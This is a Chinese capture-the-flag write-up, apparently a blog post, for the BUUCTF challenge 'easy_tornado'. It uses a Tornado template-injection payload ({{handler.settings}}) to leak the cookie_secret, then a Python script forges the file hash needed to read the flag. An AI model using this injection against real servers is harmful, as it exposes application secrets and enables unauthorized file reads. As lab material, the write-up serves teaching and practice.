BUUCTF WEB [护网杯 2018]easy_tornado

BUUCTF WEB [护网杯 2018]easy_tornado


  • 进入环境,发现三个文件

    • /flag.txt

      flag in /fllllllllllllag
      
    • /welcome.txt

      render
      
    • /hints.txt

      md5(cookie_secret+md5(filename))
      
  • 根据题目提示可知,题目环境使用python tornado模板渲染搭建,flag文件名为fllllllllllllag。观察URL可知,访问文件需要提交文件名filename和利用cookie_secretfilenamemd5加密得到的filehash

  • 我们已经知道了flag文件的filename,现在需要利用模板注入得到cookie_secret进而得到filehash

  • tornado官方文档中指出cookie_secrethandler.settings中,访问

    /error?msg={{handler.settings}}
    

    回显

    {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '937d5a21-74cc-4db9-9e52-81b087c68076'}
    

    得到cookie_secret

脚本

import hashlib

file_hash = hashlib.md5()

filename = '/fllllllllllllag'
file_hash.update(filename.encode('utf-8'))
s1 = file_hash.hexdigest()

cookie_secret = "937d5a21-74cc-4db9-9e52-81b087c68076"

file_hash = hashlib.md5()
file_hash.update((cookie_secret + s1).encode('utf-8'))

print(file_hash.hexdigest())

# 0fe38764240c1054b4a759cb7e671a10
  • 访问

    /file?filename=/fllllllllllllag&filehash=0fe38764240c1054b4a759cb7e671a10
    

    回显

    /fllllllllllllag
    flag{9ff46aca-4154-474e-add4-ff53fe8c382b}
    
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值